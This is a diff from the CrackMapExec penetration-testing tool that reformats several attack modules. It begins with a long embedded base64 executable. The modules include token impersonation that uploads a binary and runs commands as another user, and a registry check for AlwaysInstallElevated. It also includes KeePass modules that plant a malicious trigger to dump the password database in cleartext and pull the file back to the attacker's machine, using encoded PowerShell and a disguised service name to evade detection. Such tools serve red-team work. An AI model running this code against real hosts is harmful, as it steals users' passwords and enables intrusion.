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jWKNgo2ijcKOIo5CjmKPAo8ij4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAFABAGgAAADIodCh2KEwrECsUKxYrGCsaKxwrHisgKyIrJisoKyorLCsuKzArMis0KzorPisCK0QrRitIK0oraCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK8AYAEAuAAAAFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrwAAAHABALABAADQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo6ijsKO4o8CjGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAAAIABAIQAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIonCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAJABAKABAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCsAAAAwAEAEAAAAHivkK+YrwAAANABABQAAAAgoDigQKBIoFCgWKAA8AEASAAAAKihwKEIoiiiSKJoooiiuKLQotii4KIYoyCjcKh4qICoiKiQqJiooKioqLCouKjIqNCo2KjgqOio8Kj4qACpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + ) if "EXEC" in module_options: self.cmd = module_options["EXEC"] @@ -44,11 +45,11 @@ class CMEModule: def list_available_primary_tokens(self, _, connection): command = f"{self.tmp_dir}Impersonate.exe list" return connection.execute(command, True) - + def on_admin_login(self, context, connection): if self.useembeded: file_to_upload = "/tmp/Impersonate.exe" - with open(file_to_upload, 'wb') as impersonate: + with open(file_to_upload, "wb") as impersonate: impersonate.write(self.impersonate_embedded) else: if path.isfile(self.imp_exe): @@ -58,7 +59,7 @@ class CMEModule: exit(1) context.log.display(f"Uploading {self.impersonate}") - with open(file_to_upload, 'rb') as impersonate: + with open(file_to_upload, "rb") as impersonate: try: connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read) context.log.success(f"Impersonate binary successfully uploaded") @@ -82,9 +83,9 @@ class CMEModule: impersonated_user = token_owner.strip() break - if impersonated_user: + if impersonated_user: context.log.display(f"Executing {self.cmd} as {impersonated_user}") - command = f"{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"" + command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"' for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): context.log.highlight(line) else: diff --git a/cme/modules/install_elevated.py b/cme/modules/install_elevated.py index d727b6d3..9d00d688 100644 --- a/cme/modules/install_elevated.py +++ b/cme/modules/install_elevated.py @@ -7,7 +7,6 @@ from impacket.examples.secretsdump import RemoteOperations class CMEModule: - name = "install_elevated" description = "Checks for AlwaysInstallElevated" supported_protocols = ["smb"] @@ -15,8 +14,7 @@ class CMEModule: multiple_hosts = True def options(self, context, module_options): - """ - """ + """ """ def on_admin_login(self, context, connection): try: @@ -25,32 +23,48 @@ class CMEModule: try: ans_machine = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) - reg_handle = ans_machine['phKey'] - ans_machine = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer') - key_handle = ans_machine['phkResult'] - data_type, aie_machine_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated') + reg_handle = ans_machine["phKey"] + ans_machine = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", + ) + key_handle = ans_machine["phkResult"] + data_type, aie_machine_value = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "AlwaysInstallElevated", + ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if aie_machine_value == 0: - context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)') + context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return except rrp.DCERPCSessionError: - context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)') + context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return try: ans_user = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) - reg_handle = ans_user['phKey'] - ans_user = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer') - key_handle = ans_user['phkResult'] - data_type, aie_user_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated') + reg_handle = ans_user["phKey"] + ans_user = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", + ) + key_handle = ans_user["phkResult"] + data_type, aie_user_value = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "AlwaysInstallElevated", + ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except rrp.DCERPCSessionError: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)') + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") return if aie_user_value == 0: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)') + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") else: - context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled)') + context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)") finally: try: remote_ops.finish() diff --git a/cme/modules/keepass_discover.py b/cme/modules/keepass_discover.py index 7ced1525..4deddaaf 100644 --- a/cme/modules/keepass_discover.py +++ b/cme/modules/keepass_discover.py @@ -1,21 +1,22 @@ from csv import reader + class CMEModule: """ - Search for KeePass-related files and process + Search for KeePass-related files and process - Module by @d3lb3 - Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1 + Module by @d3lb3 + Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1 """ - name = 'keepass_discover' + name = "keepass_discover" description = "Search for KeePass-related files and process." - supported_protocols = ['smb'] - opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) + supported_protocols = ["smb"] + opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) multiple_hosts = True def __init__(self): - self.search_type = 'ALL' + self.search_type = "ALL" self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'" def options(self, context, module_options): @@ -29,44 +30,49 @@ class CMEModule: Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)' """ - if 'SEARCH_PATH' in module_options: - self.search_path = module_options['SEARCH_PATH'] + if "SEARCH_PATH" in module_options: + self.search_path = module_options["SEARCH_PATH"] - if 'SEARCH_TYPE' in module_options: - self.search_type = module_options['SEARCH_TYPE'] + if "SEARCH_TYPE" in module_options: + self.search_type = module_options["SEARCH_TYPE"] def on_admin_login(self, context, connection): - - if self.search_type == 'ALL' or self.search_type == 'PROCESS': + if self.search_type == "ALL" or self.search_type == "PROCESS": # search for keepass process search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' - search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',') - next(csv_reader) # to skip the csv header line - row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it + search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing + csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",") + next(csv_reader) # to skip the csv header line + row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it for row in csv_reader: row_number += 1 keepass_process_id = row[0] keepass_process_username = row[1] keepass_process_name = row[2] - context.log.highlight('Found process "{}" with PID {} (user {})'.format(keepass_process_name, keepass_process_id, keepass_process_username)) + context.log.highlight( + 'Found process "{}" with PID {} (user {})'.format( + keepass_process_name, + keepass_process_id, + keepass_process_username, + ) + ) if row_number == 0: - context.log.display('No KeePass-related process was found') + context.log.display("No KeePass-related process was found") # search for keepass-related files - if self.search_type == 'ALL' or self.search_type == 'FILES': + if self.search_type == "ALL" or self.search_type == "FILES": search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload) search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n") found = False found_xml = False for file in search_keepass_files_output: - if 'KeePass' in file or 'kdbx' in file: - if 'xml' in file: + if "KeePass" in file or "kdbx" in file: + if "xml" in file: found_xml = True found = True - context.log.highlight('Found {}'.format(file)) + context.log.highlight("Found {}".format(file)) if not found: - context.log.display('No KeePass-related file were found') + context.log.display("No KeePass-related file were found") elif not found_xml: - context.log.fail('No config settings file found !!!') + context.log.fail("No config settings file found !!!") diff --git a/cme/modules/keepass_trigger.py b/cme/modules/keepass_trigger.py index c57060c4..f20314be 100644 --- a/cme/modules/keepass_trigger.py +++ b/cme/modules/keepass_trigger.py @@ -19,9 +19,9 @@ class CMEModule: Module by @d3lb3, inspired by @harmj0y work """ - name = 'keepass_trigger' + name = "keepass_trigger" description = "Set up a malicious KeePass trigger to export the database in cleartext." - supported_protocols = ['smb'] + supported_protocols = ["smb"] # while the module only executes legit powershell commands on the target (search and edit files) # some EDR like Trend Micro flag base64-encoded powershell as malicious # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target @@ -33,26 +33,26 @@ class CMEModule: self.action = None self.keepass_config_path = None self.keepass_user = None - self.export_name = 'export.xml' - self.export_path = 'C:\\Users\\Public' - self.powershell_exec_method = 'PS1' + self.export_name = "export.xml" + self.export_path = "C:\\Users\\Public" + self.powershell_exec_method = "PS1" # additional parameters - self.share = 'C$' - self.remote_temp_script_path = 'C:\\Windows\\Temp\\temp.ps1' - self.keepass_binary_path = 'C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe' - self.local_export_path = '/tmp' - self.trigger_name = 'export_database' + self.share = "C$" + self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1" + self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" + self.local_export_path = "/tmp" + self.trigger_name = "export_database" self.poll_frequency_seconds = 5 - self.dummy_service_name = 'OneDrive Sync KeePass' + self.dummy_service_name = "OneDrive Sync KeePass" - with open(get_ps_script('keepass_trigger_module/RemoveKeePassTrigger.ps1'), 'r') as remove_trigger_script_file: + with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file: self.remove_trigger_script_str = remove_trigger_script_file.read() - with open(get_ps_script('keepass_trigger_module/AddKeePassTrigger.ps1'), 'r') as add_trigger_script_file: + with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file: self.add_trigger_script_str = add_trigger_script_file.read() - with open(get_ps_script('keepass_trigger_module/RestartKeePass.ps1'), 'r') as restart_keepass_script_file: + with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file: self.restart_keepass_script_str = restart_keepass_script_file.read() def options(self, context, module_options): @@ -87,49 +87,56 @@ class CMEModule: but they can still be easily edited in the module __init__ code if needed """ - if 'ACTION' in module_options: - if module_options['ACTION'] not in ['ADD', 'CHECK', 'RESTART', 'SINGLE_POLL', 'POLL', 'CLEAN', 'ALL']: - context.log.fail('Unrecognized action, use --options to list available parameters') + if "ACTION" in module_options: + if module_options["ACTION"] not in [ + "ADD", + "CHECK", + "RESTART", + "SINGLE_POLL", + "POLL", + "CLEAN", + "ALL", + ]: + context.log.fail("Unrecognized action, use --options to list available parameters") exit(1) else: - self.action = module_options['ACTION'] + self.action = module_options["ACTION"] else: - context.log.fail('Missing ACTION option, use --options to list available parameters') + context.log.fail("Missing ACTION option, use --options to list available parameters") exit(1) - if 'KEEPASS_CONFIG_PATH' in module_options: - self.keepass_config_path = module_options['KEEPASS_CONFIG_PATH'] + if "KEEPASS_CONFIG_PATH" in module_options: + self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"] - if 'USER' in module_options: - self.keepass_user = module_options['USER'] + if "USER" in module_options: + self.keepass_user = module_options["USER"] - if 'EXPORT_NAME' in module_options: - self.export_name = module_options['EXPORT_NAME'] + if "EXPORT_NAME" in module_options: + self.export_name = module_options["EXPORT_NAME"] - if 'EXPORT_PATH' in module_options: - self.export_path = module_options['EXPORT_PATH'] + if "EXPORT_PATH" in module_options: + self.export_path = module_options["EXPORT_PATH"] - if 'PSH_EXEC_METHOD' in module_options: - if module_options['PSH_EXEC_METHOD'] not in ['ENCODE', 'PS1']: - context.log.fail('Unrecognized powershell execution method, use --options to list available parameters') + if "PSH_EXEC_METHOD" in module_options: + if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]: + context.log.fail("Unrecognized powershell execution method, use --options to list available parameters") exit(1) else: - self.powershell_exec_method = module_options['PSH_EXEC_METHOD'] + self.powershell_exec_method = module_options["PSH_EXEC_METHOD"] def on_admin_login(self, context, connection): - - if self.action == 'ADD': + if self.action == "ADD": self.add_trigger(context, connection) - elif self.action == 'CHECK': + elif self.action == "CHECK": self.check_trigger_added(context, connection) - elif self.action == 'RESTART': + elif self.action == "RESTART": self.restart(context, connection) - elif self.action == 'POLL': + elif self.action == "POLL": self.poll(context, connection) - elif self.action == 'CLEAN': + elif self.action == "CLEAN": self.clean(context, connection) self.restart(context, connection) - elif self.action == 'ALL': + elif self.action == "ALL": self.all_in_one(context, connection) def add_trigger(self, context, connection): @@ -144,18 +151,18 @@ class CMEModule: # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportPath', self.export_path) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportName', self.export_name) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name) - self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) + self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) # add the malicious trigger to the remote KeePass configuration file - if self.powershell_exec_method == 'ENCODE': - add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8') + if self.powershell_exec_method == "ENCODE": + add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8") add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}" connection.execute(add_trigger_script_cmd) - sleep(2) # as I noticed some delay may happen with the encoded powershell command execution - elif self.powershell_exec_method == 'PS1': + sleep(2) # as I noticed some delay may happen with the encoded powershell command execution + elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.add_trigger_script_str) except Exception as e: @@ -186,7 +193,7 @@ class CMEModule: search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing - csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',') + csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",") next(csv_reader) # to skip the header line keepass_process_list = list(csv_reader) # check if multiple processes belonging to different users are running (in order to choose which one to restart) @@ -194,72 +201,57 @@ class CMEModule: for process in keepass_process_list: keepass_users.append(process[1]) if len(keepass_users) == 0: - context.log.fail('No running KeePass process found, aborting restart') + context.log.fail("No running KeePass process found, aborting restart") return elif len(keepass_users) == 1: # if there is only 1 KeePass process running # if KEEPASS_USER option is specified then we check if the user matches - if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split('\\')[1] != self.keepass_user): - context.log.fail( - f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart" - ) + if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user): + context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: self.keepass_user = keepass_users[0] elif len(keepass_users) > 1 and self.keepass_user: - found_user = False # we search through every KeePass process owner for the specified user + found_user = False # we search through every KeePass process owner for the specified user for user in keepass_users: - if user == self.keepass_user or user.split('\\')[1] == self.keepass_user: + if user == self.keepass_user or user.split("\\")[1] == self.keepass_user: self.keepass_user = keepass_users[0] found_user = True if not found_user: - context.log.fail( - f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart" - ) + context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: - context.log.fail('Multiple KeePass processes were found, please specify parameter USER to target one') + context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one") return context.log.display("Restarting {}'s KeePass process".format(keepass_users[0])) # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc) # see data/keepass_trigger_module/RestartKeePass.ps1 - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_KeePassUser', - self.keepass_user - ) - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_KeePassBinaryPath', - self.keepass_binary_path - ) - self.restart_keepass_script_str = self.restart_keepass_script_str.replace( - 'REPLACE_ME_DummyServiceName', - self.dummy_service_name - ) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path) + self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name) # actually performs the restart on the remote target - if self.powershell_exec_method == 'ENCODE': - restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode('UTF-16LE')).decode('utf-8') - restart_keepass_script_cmd = 'powershell.exe -e {}'.format(restart_keepass_script_b64) + if self.powershell_exec_method == "ENCODE": + restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8") + restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64) connection.execute(restart_keepass_script_cmd) - elif self.powershell_exec_method == 'PS1': + elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.restart_keepass_script_str) except Exception as e: - context.log.fail('Error while restarting KeePass: {}'.format(e)) + context.log.fail("Error while restarting KeePass: {}".format(e)) return def poll(self, context, connection): """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user)""" found = False - context.log.display( - f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient" - ) + context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient") context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything") # if the specified path is %APPDATA%, we need to check in every user's folder - if self.export_path == '%APPDATA%' or self.export_path == '%appdata%': - poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name) + if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": + poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name) else: export_full_path = f"'{self.export_path}\\{self.export_name}'" poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path) @@ -268,29 +260,29 @@ class CMEModule: while not found: poll_exports_command_output = connection.execute(poll_export_command_str, True) if self.export_name not in poll_exports_command_output: - print('.', end='', flush=True) + print(".", end="", flush=True) sleep(self.poll_frequency_seconds) continue - print('') + print("") # once a database is found, downloads it to the attackers machine - context.log.success('Found database export !') + context.log.success("Found database export !") # in case multiple exports found (may happen if several users exported the database to their APPDATA) - for count, export_path in enumerate(poll_exports_command_output.split('\r\n')): + for count, export_path in enumerate(poll_exports_command_output.split("\r\n")): try: buffer = BytesIO() connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write) # if multiple exports found, add a number at the end of local path to prevent override if count > 0: - local_full_path = self.local_export_path + '/' + self.export_name.split('.')[0] + '_' + str(count) + '.' + self.export_name.split('.')[1] + local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + 